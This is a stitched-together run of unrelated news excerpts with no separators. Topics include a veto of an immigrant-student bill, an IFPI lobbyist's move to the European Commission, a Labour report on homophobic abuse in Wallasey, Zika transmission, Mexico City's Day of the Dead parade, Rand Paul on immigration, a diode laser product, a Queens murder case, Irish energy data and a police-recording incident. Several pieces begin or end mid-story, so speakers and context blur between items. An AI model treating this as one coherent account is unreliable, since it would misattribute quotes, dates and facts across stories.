But Democratic opponents and advocates for immigrants said it would cause financial hardship for hardworking students seeking to get a college education and contribute to society.
In his veto message, the Governor wrote that the bill was a "imposed unfairly on children who have done nothing wrong."
Just a few days ago we witnessed a prime example of the revolving door phenomenon, as a former RIAA lobbyist turned federal judge got to rule on a case that had a direct impact on her former employee.
Today we bring another example, one that’s perhaps even more worrisome.
Those who read TorrentFreak regularly will be familiar with music industry lobby group IFPI. Crowned as the most active DMCA sender of 2010, IFPI are known for their aggressive anti-piracy tactics. Among other legal efforts, they were one of the driving forces behind the Pirate Bay trial.
At the same time IFPI has been lobbying in the political arena for more tools to combat online piracy, with varying results. However, due to a new appointment at the copyright and enforcement unit of the European Commission, it appears that IFPI’s influence might increase significantly.
Maria Martin-Prat, who was formerly employed as Director of Legal Policy and Regulatory Affairs at IFPI, has now been selected to lead the EU unit that deals with copyright and enforcement issues. Among other things, she will be in charge of trying to get the controversial ACTA anti-piracy agreement accepted.
This means that Martin-Prat, whose previous job was to convince politicians that more restrictive copyright legislation is needed to deal with online piracy, is now responsible for shaping future copyright laws at the European Commission. Needless to say, it’s likely that her view on copyright won’t be the most objective one.
Pirate Party MEP Christian Engstrom is not happy with the appointment, to say the least. However, knowing the ins and outs of the European Commission and the dominance of lobby groups, it comes as no surprise.
“Welcome to the European Union, where the big business lobby organizations are calling most of the shots at the Commission, and where citizens are just seen as a nuisance to be ignored. I guess the only real news is that they don’t even bother to try to hide it any more,” he said in response to the announcement.
A confidential report leaked to the ECHO detailed a Labour party investigation into allegations of abuse and intimidation at the Wallasey Constituency Labour Party (CLP).
It claims that Angela Eagle MP was subject to homophobic abuse.
Although the claims have always been strongly denied by some party members, the report calls for the local party to remain suspended until next year.
Here are the key findings from the report.
Homophobic abuse
The confidential report on the investigation into Wallasey Constituency Labour Party says: “The investigation has found that some members have truthfully claimed that homophobic instances occurred during the AGM. Others truthfully said that they were not aware of those instances.
“It is possible for the events to have occurred without the knowledge of all members. The allegations are not that the CLP is institutionally homophobic or that members were aware of homophobia but took no action, but are specific to individuals. These allegations will be reported to the Disputes Panel regarding individual disciplinary action.”
The ‘brick’ incident
According to the report, the attack on the MP’s constituency office in Liscard was also “highly likely” to be connected to her challenge against Jeremy Corbyn for Labour’s leadership.
The report said: “It’s highly likely that the brick thrown through the window of Angela Eagle’s office was related to her leadership challenge. The position of the window made it very unlikely that this was a random passer-by.” It said that claims it could have been targeting another company and Ms Eagle was “lying” about being targeted are “categorically untrue”.
A ‘toxic culture’
The report also found that “over the summer there has been a high level of inter-member abuse in Wallasey”. The confidential report said it had “resulted in genuine fear and intimidation of a small number of other members” with some “fearful to take part in the Party or raise their voice about any issue, as they see that those that do are subject to abuse”. It concludes: “This culture is toxic and it is self-perpetuating.”
Physical threats to party members
At ONE key meeting of the local party, the report said: “Some reported that tensions were raised and the atmosphere was febrile and increasingly frightening. It has been reported by several respondents that one member loudly threatened physical violence to another member during this period. Whilst it is unlikely that this threat would have been carried through, this created a frightening atmosphere, particularly for the older and younger members, who felt vulnerable.”
Deselecting councillors
According to the investigation report, “a small, but vociferous, group of new Labour members have engaged in a campaign against the Labour council, and have called for the deselection of any councillors who refuse to set illegal budgets”.
Abuse
The report added: “The office of Angela Eagle has endured a significant amount of abuse, including abusive and intimidating phone calls. The investigation has received many hundreds of abusive, homophobic, and frightening messages that have been sent by Labour members to Angela Eagle.”
The future
The report concludes: “The current atmosphere in the CLP is toxic and divided in the extreme. It is not possible for the CLP to safely meet in the current climate, and the Party should support them to move forward.”
"Self-deferral" for blood donors should apply to anyone who has visited Mexico, the Caribbean or Central or South America during the past four weeks, the organization said in a statement.
The request comes the same day the U.S. announced that a patient in Texas had been infected with Zika through sexual transmission and Brazil said suspected and confirmed cases of newborns with abnormally small heads — believed to be linked to the virus — had increased to 4,074 as of Jan. 30 from 3,718 a week earlier.
Federal Health Minister Jane Philpott said Canada is paying close attention to the spread of Zika virus.
"At this point we believe there's a very low risk of possible transmission in Canada," Philpott told CBC's Power & Politics on Tuesday.
"I think Canadians primarily need to be concerned with respect to their possible travel plans," she said.
The Texas case is the first case of the virus being transmitted in the U.S. during the current outbreak of Zika, which has been linked to birth defects in the Americas.
"It's very rare, but this is not new; we always looked at the point that this could be transmitted sexually," Zachary Thompson, director of the Dallas County Health and Human Services, told WFAA-TV in Dallas.
The confirmed patient did not travel but was infected after having sexual contact with an ill person who had returned from Venezuela, Dallas County health officials said in a tweet. They did not release any details about either patient, citing privacy issues.
CLARIFICATION: Dallas County's 1st case of <a href="https://twitter.com/hashtag/Zika?src=hash">#Zika</a> thru sex was acquired from someone who traveled to Venezuela, confirmed case did not travel —@DCHHS
Zika virus is usually spread through mosquito bites. Investigators have been exploring the possibility the virus also can be spread through sex. It was found in one man's semen in Tahiti, and there was a report of a Colorado researcher who caught the virus overseas and apparently spread it to his wife back home in 2008.
"That gives you the plausibility of spread, but the science is clear to date that Zika virus is primarily transmitted to people through the bite of an infected mosquito," Dr. Anne Schuchat of the Centers for Disease Control said during a recent news conference about Zika.
The CDC said it will issue guidance in the coming days on prevention of sexual transmission of Zika virus, focusing on the male sexual partners of women who are or may be pregnant. The CDC has already recommended that pregnant women postpone trips to more than two dozen countries with Zika outbreaks, mostly in Latin America and the Caribbean, including Venezuela. It also said other visitors should use insect repellent and take other precautions to prevent mosquito bites.
In the epidemic in Latin America and the Caribbean, the main villain identified so far is called Aedes aegypti — a species of mosquito that spreads other tropical diseases, including chikungunya and dengue fever. It is found in the southern U.S., though no mosquito-borne transmission has been reported in the continental United States to date.
Texas health department officials said that the case announced Tuesday is the first one contracted in the state but noted that there are seven other cases of the virus in Texas related to foreign travel.
WHO declares emergency
The World Health Organization (WHO) on Monday declared a global emergency over the rapidly spreading Zika virus, saying it is an "extraordinary event" that poses a threat to the rest of the world.
The declaration was made after an emergency meeting of independent experts called in response to a spike in babies born with brain defects and abnormally small heads in Brazil since the virus was first found there last year.
Officials in French Polynesia also documented a connection between Zika and neurological complications when the virus was spreading there two years ago, at the same time as dengue fever.
WHO officials said it could be six to nine months before science proves or disproves any connection between the virus and babies born with abnormally small heads.
The CDC said that in the recent Texas case, there's no risk to a developing fetus.
Zika was first identified in 1947 in Uganda. It wasn't believed to cause any serious effects until last year; about 80 per cent of infected people never experience symptoms.
The most common symptoms are fever, rash, joint pain and red eyes. The illness is usually mild with symptoms lasting several days to a week. Symptoms usually start two days to a week after being bitten by an infected mosquito.
Canadians researching vaccine
Last week, Dr. Theresa Tam, Canada's deputy chief public health officer, said one published case described a male traveller to Africa who came back home, and subsequently his wife developed a Zika virus infection without having travelled.
There's been some detection of the virus in semen for up to two weeks, Tam said.
Tam suggested "precautionary measures" for travellers, but didn't offer specifics. The risk is low, she said.
Philpott said officials at the Public Health Agency of Canada are in "daily contact" with the WHO, and that Canada is ready to help international efforts.
Mexico's capital held its first Day of the Dead parade Saturday, complete with floats, giant skeleton marionettes and more than 1,000 actors, dancers and acrobats in costumes.
Tens of thousands turned out to watch the procession, which included routines like a phalanx of Aztec warriors with large headdresses doing tricks on rollerblade skates.
HALLOWEEN IS BIG BUSINESS
"It would be hard to conserve these traditions without any changes," said Juan Robles, a 32-year-old carpenter who led the skating Aztecs. "This way, people can come and participate, the young and old."
Such a spectacle has never been a part of traditional Day of the Dead celebrations.
The idea for the parade was born out of the imagination of a scriptwriter for last year's James Bond movie "Spectre." In the film, whose opening scenes were shot in Mexico City, Bond chases a villain through crowds of revelers in what resembled a parade of people in skeleton outfits and floats.
It's a bit of a feedback loop: Just as Hollywood dreamed up a Mexican spectacle to open the film, once millions had seen the movie, Mexico had to dream up a celebration to match it.
"When this movie hit the big screen and was seen by millions and millions of people in 67 countries, that started to create expectations that we would have something," said Lourdes Berho, CEO of the government's Mexico Tourism Board. "We knew that this was going to generate a desire on the part of people here, among Mexicans and among tourists, to come and participate in a celebration, a big parade."
11 CREEPY COCKTAILS FOR HALLOWEEN
Mexico City authorities even promised that some of the props used in the movie would appear in the parade. The government board sponsoring the march called it part of "a new, multi-faceted campaign to bring tourists to Mexico during the annual Day of the Dead holiday."
Add to this the increasing popularity of "Zombie Walks" around the Day of the Dead, and the scads of Halloween witches, ghouls, ghosts and cobweb decorations sold in Mexico City street markets, and some see a fundamental change in the traditional Mexican holiday.
Johanna Angel, an arts and communication professor at Mexico's IberoAmerican University, said the influences flow both north and south. She noted U.S. Halloween celebrations now include more Mexican-inspired "candy skull" costumes and people dressed up as "Catrinas," modeled on a satirical 19th century Mexican engraving of a skeleton in a fancy dress and a big hat.
"I think there has been a change, influenced by Hollywood," Angel said. "The foreign imports are what most influence the ways we celebrate the Day of the Dead here."
Traditionally, on the Nov. 1-2 holiday, Mexicans set up altars with photographs of the dead and plates of their favorite foods in their homes. They gather at their loved ones' gravesides to drink, sing and talk to the dead.
In some towns, families leave a trail of orange marigold petals in a path to their doorway so the spirits of the dead can find their way home. Some light bonfires for the same purpose, sitting around the fire and warming themselves with cups of boiled-fruit punch to ward off the autumn chill.
These days, many cities set up huge, flower-strewn altars to the dead and hold public events like parades, mass bicycle events and fashion shows in which people dress up in "Catrina" disguises.
Some say the changes don't conflict with the roots of the holiday, which they say will continue.
Samuel Soriano, a 35-year-old insurance executive, decorates his Mexico City home Halloween-style (think giant spider webs and inflatable tombstones) and each year hands out candy to about 100 trick-or-treaters. But in his dining room, he has a more traditional "Dia de los Muertos" shrine with portraits of departed loved ones, candles, decorative skulls and marigolds.
"We decorate for the sheer pleasure of it, and to see the smiles on children's faces," Soriano said. "We also celebrate Day of the Dead ... There's no reason to see it as a contradiction."
On a recent "Zombie Walk," in which hundreds paraded through Mexico City in corpse disguises one week before the Day of the Dead, most participants said it was just good, clean fun.
"We are not fighting against our cultural traditions," Jesus Rodriguez, one of the organizers, said as he waved a fake plastic arm he was "gnawing" on. "On the contrary, if you take off the zombie*s flesh, there are skeletons, there are Catrinas."
Yet Mexico's traditional view of the dead was never ghoulish or frightful. The dead were seen as the "dear departed," people who remained close even after death. Could the outside influences threaten that?
"I don't think that will change," Angel said. "I think Mexico maintains the sense of remembering the dead with closeness, not fright."
Indeed, Mexicans still enjoy the graveside celebrations. Some cemeteries grow so packed and rowdy that authorities have been forced to ban alcohol sales at nearby stores.
And Mexicans have changed the holiday themselves, without outside influences, making it a time to express social protest and social causes.
Many have erected public shrines for the nearly 30,000 disappeared in Mexico's drug war. In downtown Mexico City in recent years, prostitutes have put on skull masks and erected a shrine to murdered prostitutes.
Day of the Dead — itself an amalgam of Spanish and pre-Hispanic beliefs — seems likely to survive, despite the rapid changes, in a festival-loving country that has long managed to successfully absorb many outside influences.
"Any opportunity for a festival is welcome," Angel noted, "and with any influences from at home or abroad, and in all possible combinations."
During a symposium at the Newseum on conservative engagement with Hispanic media outlets, Paul also said Republicans have plenty of ideas that appeal to Latinos, but acknowledged, “We got to get beyond deportation to get to the rest of the issues.”
“The bottom line is that the Hispanic community, the Latino community, is not going to hear us until we get beyond that issue. They’re not going to care whether we go to the same church or have the same values or believe in the same kind of future of the country until we get beyond that. So showing up helps. But you got to show up and you got to say something and it’s has to be different than what we’ve been saying.”
The potential 2016 candidate for president called for a softer tone when talking about illegal immigration problems.
“I think one way to get the door ajar is say that you know, Mrs. Garcia’s nephew is not going to be sent home to Mexico,” he said. “You know, because everybody — even those who are here illegally — know somebody who is here who doesn’t have the proper visa.”
Speaking of illegal immigration, Paul also said: “I think the other thing to acknowledge is it’s not always the individual’s fault. Sometimes it’s a child that has no control over this. But sometimes, it’s also somebody who came here and tried to use our system.”
He said Republicans who decry how big government doesn’t work should point out how the visa system is a mess, something many Hispanics identify with. “Forty percent of those who are here of the 11 million who don’t have the proper documents,” Paul said. “Forty percent of them came with the proper documents and then somehow lost their documentation.”
Paul, who voted against last year’s Senate comprehensive immigration bill, expressed frustration that the bill still keeps it illegal for immigrants with certain visas to change jobs while in the United States. He gave an example of a migrant worker who came here with a legal visa to pick crops for $9 dollars an hour but later saw a construction job that paid $14 dollars an hour.
“You become an illegal alien by taking a better paying job,” Paul said. “That has to be addressed. If you don’t address that, you’ll continue to have an illegal immigration problem.”
Paul said Republicans should work to get “the door ajar” for other groups of people too.
“This is true in a lot of different communities for Republicans, whether it’s simply the working class community, the Hispanic community or the African American community,” he said. “I think that what’s happened is that there is not the perception of empathy coming from the Republican Party, that we care about where they are coming from and we care about what their problems are. Until we get to that point, they’re not going to listen any of the next message.”
The Washington, D.C. event, sponsored by the Media Research Center and the American Principles Project, focused on how conservatives can better take their message to Hispanic news outlets.
Alfonso Aguilar, a conservative radio host who also serves as executive director of a Latino Partnership for Conservative Principles, called on Republicans to appear more often on Hispanic shows.
“Conservative need the support of Hispanics to grow as a movement and advance the issues we all care about…. they are the largest minority group in the country, and the fastest growing,” he said.
In the past, engineers trying to boost the output of diode lasers ended up with low-quality laser beams or poor focus. Moreover, lasers based on diodes alone were never powerful enough for industrial use. First-generation devices are carbon dioxide lasers and were developed decades ago. They are bright, but can be the size of trucks and operate at about 20% efficiency. Second-generation lasers, diode-pumped solid-state lasers, including disk and fiber, usually send energy through an amplifying crystal, before converting it into a laser beam. And they were limited to about 30% efficiency.
The TeraBlade, however, uses a power-scaling technique called wavelength beam combining. It overlaps or combines several laser beams from diodes into one more powerful yet still coherent beam.
The laser module inside the TeraBlade contains diode laser bars (long arrays of diode lasers), a transform lens, diffraction grating, and output lens. Light from the diode lasers passes through the transform lens and onto the carefully positioned diffraction grating, a glass plate carefully etched with parallel lines. The diffraction grate, which is usually used to disperse light beams at various angles, forces them into the same direction, superimposing them into one beam. The entire TeraBlade, a 3-ft cube, includes several laser modules, a control computer, power supplies, and an output head for welding and cutting.
The company is already sold selling its cutting machines to customers in countries such as Japan and Germany, where energy costs are high. For example, in April the company shipped TeraBlades to Panasonic Welding Systems in Europe and Japan. Other customers include top global builders of industrial laser-based machines and system integrators.
I do most of my thinking while riding my bike, as the pace allows me to better take in my surroundings. My typical four-mile ride, from Pittsburgh’s Lawrenceville neighborhood to its Downtown, takes me through a snapshot of this rapidly-changing city and the challenges we face as we attempt to balance our population and tech sector growth while maintaining our affordability and identity. Affordable transportation combined with affordable housing will no doubt determine what Pittsburgh will look like in five to 10 years.
Immediately after leaving my office at Bike Pittsburgh, the region’s bicycle and pedestrian advocacy organization, I see a former industrial site that is nearing the completion of luxury apartments.
Much of the new housing in Pittsburgh is high-end, located in areas with great transit, biking and walking options. However, housing costs in these neighborhoods have skyrocketed, leaving many long-term residents with little choice but to move on, often to places with higher transportation costs and fewer amenities. In a city where 25 percent of households have no access to a vehicle, people are being pushed to areas without quality transit or safe biking and walking options, decimating their quality of life.
In a city where 25 percent of households have no access to a vehicle, people are being pushed to areas without quality transit, biking or walking options.
While Pittsburgh is still one of the most affordable cities across the country, there is an intense push to bring high-paying tech jobs to town. As we’ve seen in other U.S. cities where tech reigns supreme, the realities of displacement are already shattering Pittsburgh’s community strongholds.
HuffPost is hitting the road this fall to interview people about their hopes, dreams, fears ― and what it means to be American today.
In Pittsburgh, between the arrival of autonomous vehicles (AVs) and the excitement about a futurist vision involving the hyperloop, many people are looking toward technological fixes to deal with transportation issues. While not as sexy as jumping in a tube to grab a quick lunch in Chicago, Pittsburgh already has the tools to solve our transportation problems, namely transit, biking and walking. However, every few years, Pennsylvania’s urban residents need to fight in order to prevent legislators from cutting these funds under the guise of balancing the budget.
As I continue to pedal, I come upon a stretch of the city that some would like to call “robotics row,” where on any given day I’ll be sharing the road with several autonomous or “self-driving” cars.
Entering the Strip District, an area known for fresh produce, ethnic foods and bootleg sports gear, an impatient suburban driver honks and passes too close. I think to myself how I can’t wait for him to be replaced by a robot car that, after a year driving on Pittsburgh’s streets, has yet to honk at me or pass too close. But then I’m reminded of the job loss that this automation will bring and how much AVs are being touted as the panacea that will solve all of our transportation needs. If they end up disrupting our transit system as many predict, it’s unclear how all of these cars will be able to fit into the confines of our dense downtown.
Murphy Moschetta
Now pedaling through downtown Pittsburgh, I enter the 3-year-old Penn Avenue protected bike lanes, a controversial project when they went in but now an integral part of the city’s transportation landscape.
However, the staff sergeant has not been charged in the March incident, which began when he and another soldier allegedly started shooting one or more BB guns in the crowded entertainment district of Itaewon, near U.S. Army Garrison Yongsan.
The names of those allegedly involved in the incident have not been released by the Army.
South Korea police said the soldiers fled in a car that was driven by the staff sergeant, and were chased across the city by a South Korean police officer riding in a taxi. When the officer got out of the taxi and approached the soldiers, the driver reversed several times, striking the police officer.
During the melee, the officer fired one warning shot and three live rounds, hitting a private first class, who was a passenger, in the chest, according to police reports.
The Ministry of Justice issued the arrest warrant on Wednesday and planned to request that U.S. Forces Korea turn over the staff sergeant to South Korean custody, according to a press release issued Thursday. If USFK agrees to the request, the ministry will confine him as its investigation into the March 2 incident continues, the release said.
The 8th Army issued a statement Friday saying it had received the ministry’s request late Thursday afternoon and was reviewing it.
“Additionally, during the detention hearing the court was informed the individual listed on the request has been in U.S. military pre-trial confinement,” the statement said.
A prosecutor, speaking on customary condition of anonymity, said Friday that the ministry wants to arrest the staff sergeant because it believes he poses a flight risk and that he might destroy evidence.
The prosecutor said officials are considering levying five charges against the staff sergeant, including assault and obstruction of justice. He said the other two soldiers remain under investigation.
A South Korean detective investigating the case said last week that the private will likely not face charges and the third soldier, a corporal, is still under investigation.
The corporal told police during questioning that she had fired a BB gun at passersby “for fun.”
rowland.ashley@stripes.com
“I just shot my wife,” muscle-bound Clarence Cash, 49, calmly told officers hours after allegedly pumping 10 bullets into his pretty wife, Tracey Young, 42 — a top tax investigator who specialized in busting tobacco smugglers — in their posh Queens condo.
Detailing the gruesome deed — which included blasting Young three times in the face — Cash added, “My wife, she didn’t deserve that.’’
Young’s own mother was murdered by a lover when the tragic tax cop was a child, a neighbor said.
After Cash punched Young in their fight over dough, she threatened to leave him — sending him further over the edge, law-enforcement sources said.
Neighbors admitted that they had heard Young and Cash arguing, then loud bangs — but none ever called cops, even though at least one of them suspected gunfire.
After allegedly killing Young at around 10:30 p.m. Saturday, Cash — a body-building, part-time guard at the federal courthouse on Pearl Street — fled the couple’s apartment at 143-41 84th Drive in Briarwood.
He told cops he wandered the city for more than seven hours trying to work up the guts to commit suicide.
“He took her gun and went to Rockaway Beach to kill himself,” said Queens Assistant District Attorney Robert Hanophy Jr. at Cash’s arraignment last night.
Instead, Cash turned himself in at the Midtown South Precinct at about 6 a.m. yesterday, handing over two handguns — his Glock and her registered Sig Sauer, the sources said.
“I’m a retired cop,” he said before describing his heinous crime and sniveling, “I tried to kill myself, but I couldn’t do it.”
One law-enforcement source said Cash “appeared calm, gentlemanly” when he showed up.
“He was remorseful — just came in and said he wanted to speak with a detective,” the source said.
Cash was charged with first-degree murder. He was remanded without bail, and his lawyer asked that he be placed in protective custody at Rikers.
Neighbors said the couple, who were married a few years ago and had no kids, was last seen arriving home in Cash’s black Mercedes at about 9 p.m. on Saturday. They appeared happy, witnesses said.
“They seemed fine when they got on the elevator,” one neighbor said.
Building resident Maple Dong, 28, said Young had recently told her Cash “bought a lot of gifts for her for Christmas,” including the handbag.
“She said, ‘I asked for it, and he bought it for me,’ ” Dong recalled.
But Cash apparently had trouble affording it — he’d been slapped with federal tax liens, multiple civil judgments and warrants from New York state for failing to pay back taxes dating to at least 1998, public records show.
Cash confessed to authorities that what had started as a romantic night for the pair went horribly awry within minutes, Hanophy said.
“We went to get food,” Cash recalled, and returned to the condo.
“I lit some candles, and I rubbed cream on her back.’’
But the pair soon started fighting, one law-enforcement source said.
“The holidays are coming, and they didn’t have enough money,” the source said.
Shortly before 10 p.m., Young desperately called her sister, April Young, in The Bronx saying she was coming over.
A half-hour later, Tracey texted her sister that her iron-pumping hubby — who had to wear custom-made suits to fit his beefy frame — had hit her.
“When we were arguing, she mushed me in the face, and I punched her,” Cash allegedly told cops.
A furious Tracey Young told Cash “she was going to leave him’’ — and he whipped out a gun and began blasting, sources said.
Cash later told authorities he thought he shot her only three or four times.
Meanwhile, April Young raced to the couple’s eighth-floor apartment, where she rang the bell but got no answer.
The panicked sister went to the apartment next door, where a woman said she had heard what she thought were gunshots at about 10:30 p.m. The woman’s husband didn’t think they were shots, and neither called 911.
Another neighbor told April she heard four to six loud bangs but also didn’t think they were gunshots and never called police.
April called 911 at 11:09 p.m.
Cops entered the couple’s blood-splattered apartment and found Young shot three times in the face, twice in the back, once in the left breast, twice in the right side and once in each armpit. Thirteen shell casings from a 9mm handgun and three bullet fragments were recovered.
Cash had three licensed firearms: two Smith & Wessons and the 9mm Glock. Tracey Young had the 9mm Sig Sauer semiautomatic.
Cash had retired from the 32nd Precinct in Harlem in 2006 and was working part time for the Marshal’s Service, escorting prisoners to the Pearl Street courthouse from their holding cells.
“The guy is huge. He’s like one big muscle,’’ another source said. “He’s very health conscious. He works out all the time.”
The co-worker said Cash was always given the toughest assignments involving gang members, who would taunt him.
“But he never lost his cool, not even once. He was the mellowest guy I’ve ever seen,” the source said.
Another police source said Cash has an 18-year-old son from a previous relationship.
“He loved him to death,” the source said.
“[Cash] is a good guy,” the pal added. “He was friends with everyone.”
Cash had no arrest record but was involved in domestic incidents in January 2003 and March 2011. In each case, the complainant was another woman, who complained to cops in the 105th Precinct in eastern Queens.
Young, an investigator since 2002 with the state Department of Taxation and Finance, was an ace undercover who specialized in cigarette smuggling, her bosses said.
“She was great on the streets in gaining informants,” said Tom Stanton, her supervisor for six years before he retired in 2010.
Neighbors said Young, president of her homeowners board, was always willing to help out at home.
“She was very dedicated to the building. She just did the Christmas decorations,” said a neighbor who identified herself only as Agnes.
Agnes’ husband, Martin, said of Cash: “He was a quiet guy, very friendly. It’s a shock . . . He always called her ‘my sweet lady.’ ”
Cash’s lawyer, Sam Braverman, who knows his client from his work at the federal courthouse, called the situation “tragic.”
“[Cash] is an excellent, excellent law-enforcement officer,” Braverman said.
Cash’s next court appearance in set for Jan. 3.
Murder timeline
9 p.m. Saturday
Neighbor walking his dog sees Tracey Young and her husband, ex-cop Clarence Cash, arrive home in their black Mercedes.
9:55 p.m.
A panicked Young calls her sister, April, to say that she and Cash were fighting and that she would be coming to her house.
10:28 p.m.
Tracey Young text-messages her sister that Cash hit her.
10:53 p.m.
April Young rushes to her sister’s condo, but there is no answer at the door. Next-door tenants tell her they heard arguing and what sounded like gunfire at around 10:30 p.m. but never called the cops.
11:09 p.m.
April Young calls 911, and cops discover her sister’s body shot 10 times.
6 a.m. yesterday
Cash turns himself in at the Midtown South Precinct and surrenders two guns. He allegedly makes a full confession.
New parents constantly receive advice — mostly unsolicited — from seasoned parents. While women get tips about diapering, nursing or strollers, men tend to get stentorian directives about their new roles as fathers. One piece of advice I received sticks out in my mind: “When the baby comes, just do whatever your lady tells you to do. She knows everything.”
I would never have guessed obedience to be the best attribute of male parenting. But it speaks loudly of the presumed noninterest of men and their disengagement as parents. It’s a different way of asking the question, “Where are all the men?”
Society's low expectations about men’s interest and capacity for parenting means that there is little encouragement for change.
As I begin to enter this new world of caregiving, I notice a conspicuous absence of Y chromosomes in curious places. Diaper ads are directed to “hardworking moms.” Parenting sections of book stores have about three (if that) dusty volumes of books directed to men. And Amazon Mom cuts off half of the parent population just because the title sounds good. (The corporate explanation: " 'Amazon Primary Caretaker' just didn’t have the same ring to it.")
Even in the never-ending mommy wars — which are supposedly about parenting — men don’t figure as soldiers in the battle. Fights about the best ways to raise children exist in this strange Gilmanesque HerLand, where men have few roles other than not disturbing the existing discussion. Agreeing and absorbing yes, but public skepticism of the Holy Attachment Trinity of co-sleeping, babywearing and breastfeeding is sure to set the blogosphere afire. Imagine if a man had written Elisabeth Badinter’s "The Conflict." La Leche League and every doula in the country would have declared maternal mutiny.
Can men talk about mothering, or is that women only? It’s quite easy to quote deplorable statistics of gender inequality to justify the parental “othering” of men: women earn 77 cents for every man’s dollar; men underperform in household duties and “the year of the woman” celebrates a handful of women elected to office. It’s also easy and even more shortsighted to make a categorical declaration that certain parenting practices are simply better for children because “mothers know best.”
And the country’s spending on imported fossil fuels fell by €1.2 billion last year following the opening of the often-controversial Corrib gas field off the Mayo coast.
A report from Sustainable Energy Authority of Ireland (SEAI), due to be published on Tuesday, highlights major changes in where Ireland’s energy comes from, and how it is now being consumed.
Ireland produced its largest amount of renewable electricity ever last year, on the back of the introduction of an additional 400 megawatts of power from wind turbines.
This brought the total capacity of Ireland’s wind turbines, on land and at sea, to 2,827 megawatts, according to the SEAI’s annual Energy in Ireland Report. It includes analysis going back to 1990.
Most of the turbines that entered service last year did so towards the end of last year, so this year’s figures should be higher again, the report says. In addition, the more windy conditions seen this year will also boost production.
Renewable electricity generation accounted for more than 27 per cent gross electricity consumption in 2016, while the use of renewables in electricity generation reduced CO2 emissions by 3.1 million tonnes and avoided €192 million of fossil fuel imports.
Natural gas production reached its highest level ever in 2016 following the entry of supplies from the Corrib gasfield off the Mayo coast into the system.
Last year, Ireland bought 69 per cent of its fossil energy supplies from abroad, compared with 88 per cent in 2015. Consequently, the “energy import bill” for Ireland fell from €4.6 billion in 2015 to €3.4 billion.
The SEAI analysis shows the Irish economy grew by 5 per cent last year, while energy use grew by 3.7 per cent. CO2 energy emissions grew by 3.6 per cent, though Irish renewables cut CO2 emissions by 3.9 million tonnes.
Decarbonising
The significant savings to be made from energy conservation by homes and businesses makes the case for adopting renewable energy and decarbonising now “undeniable”, said SEAI chief executive Jim Gannon.
The 2016 data shows encouraging trends, he said, including a continued decoupling of economic growth and energy use.
“However, the pace of this divergence is too slow and is simply not sustainable,” Mr Gannon said.
A growing economy powered by a low fossil fuel price remained a barrier to the shift to a sustainable energy future, he added.
“Encouraging decision-makers to act is all the harder without the price signals to drive investment in sustainable energy technologies and practice.”
Transport remains a challenge, consuming 42 per cent of all energy use last year, though Mr Gannon said people are now beginning to look seriously at electric vehicles.
Next year, SEAI will promote the use of electric vehicles by public and private users by making them available for a year on a trial basis, extending the home charger network and supporting car-sharing in towns and cities.
The average emissions of new Irish cars bought last year was 112.4 grammes of carbon dioxide per kilometre, down considerably since changes to motor taxation that targeted high emitters were introduced.
More than three quarters of all new private cars purchased so far this year are ranked as A label, while 94 per cent of new houses built between 2015 and 2017 are also ranked in the highest category.
The European Union has set a more demanding target of 95 grammes of carbon dioxide per kilometre for new cars from 2020, though the question of how diesel manufacturers will deal with particulate emissions has yet to be agreed.
"Doesn't the demo use about 50 percent of its power? Of course, I think the retail version will make use of nearly 100 percent," Kitase told Dengeki PlayStation 3 magazine (translation via Kotaku). He also added that because of the space afforded by Blu-Ray and the PS3's hard drive, the game won't require any form of disc-swapping.
In Japan the game will only be seeing release on the PS3, so Kitase made no mention of the Xbox 360 version that will be coming to other territories. But if the title does indeed rely so heavily on Blu-ray and the processing power of the PS3, it makes us wonder how that will affect the 360 version. It's likely the 360 version will end up shipping on multiple discs.
Darrell Whitman put his job as an investigator for the federal Whistleblower Protection Programme on the line to claim that the agency had failed to defend workers who reported illegal activity and corporate safety infringements in the San Francisco Bay Area.
He'd exhausted all internal channels to address the problem, Whitman said, including contacting the heads of Occupational Safety and Health Administration (OSHA, who oversee the programme) and the US Secretary of Labour.
The letter announcing his termination said Whitman had been fired for six separate reasons including "lack of candour during an investigatory meeting" and "unauthorised release of government documents".
Speaking to NBC, Whitman said:
This article was cross-posted at Massachusetts Cop Block
“Shut that fucking thing off before I slap you!”
Those are the words that UMass Lowell student Brendan Brown heard shortly after he trained his cell phone camera on several campus police officers last Saturday.
Brown told me that he was leaving a friend’s house when he noticed a “big brawl” taking place outside an apartment. When police appeared on the scene to break up the fight, Brown stood a reasonable distance away from the action, took out his cell phone, and began documenting the activity. In less than a minute, the officers turned to face Brown and one asked him, “You all set over there with the camera?”
“Yeah, I’m all set,” Brown responded.
“Yeah, who are you?” the officer asked.
While Brown explained to the police that he was merely observing what was going on, an officer began walking toward him. That’s when the officer threatened to assault Brown.
After being threatened by the officer, Brown decided to comply with his demand “rather than to be possibly beat up and thrown in jail.”
In the case Commonwealth v. Hyde, a musician’s felony wiretapping conviction was upheld by the Massachusetts Supreme Judicial Court after he recorded police during a traffic stop, however, Hyde’s conviction stemmed from the fact that he made a secret audio-recording of police with a hidden tape recorder.
Openly recording police officers — like Brown was doing — is not a crime. As the SJC observed in Hyde, Hyde’s arrest and conviction “could have been avoided if, at the outset of the traffic stop, [he] had simply informed the police of his intention to tape record the encounter, or even held the tape recorder in plain sight. Had he done so, his recording would not have been secret, and so would not have violated” the wiretapping statute.
More recently, a federal appeals court ruled that openly recording police officers in Massachusetts is an activity that is protected by the First Amendment and police officers may be sued for interfering with people who record them.
In fact, it’s legal to audio and video-record police virtually everywhere in the United States. The only major exception is the state of Illinois which currently has an “eavesdropping” law that criminalizes even openly audio-recording one’s own interactions with police officers without their consent. Despite the fact that recording police is generally legal, there have been hundreds of documented cases of police harassing, threatening, assaulting, and even arresting people for recording police activity in recent years.
But just because it’s become all too common for police to interfere (oftentimes violently) with people who record them does not mean that it’s acceptable. The officer who threatened Brown wasn’t simply disrespectful or unprofessional. What he did is a crime and he deserves to face consequences for it.
That officer deserves to lose his job. No person who believes he has the right to threaten to assault other individuals for something that is not only legal, but is protected by the First Amendment, has any business being a police officer. When you commit a serious crime like threatening someone without provocation, you don’t deserve a second chance with the badge.
The officer in the video should also be facing criminal charges. If Brown had approached a police officer and threatened to hit him, you can bet he would have ended up in jail. Police officers who make criminal threats don’t deserve to be treated any differently.
Brown agrees that his rights were violated, but told me that he has no plans to seek accountability from the campus police over the incident because he was unable to identify the officer who threatened him.
“If I had correctly identified the officer who made the threat, I would want him to be held entirely accountable and face whatever repercussions are given for this type of behavior. However since that is not the case, the awareness brought by this video is satisfying enough for people and especially UMass Lowell students to know what is going on and how business is being conducted by these public servants,” he told me.
However, Brown did say that the school’s student trustee, whom he described as a good friend, was aware of the video and was considering discussing it with the UMass Lowell Police Chief.
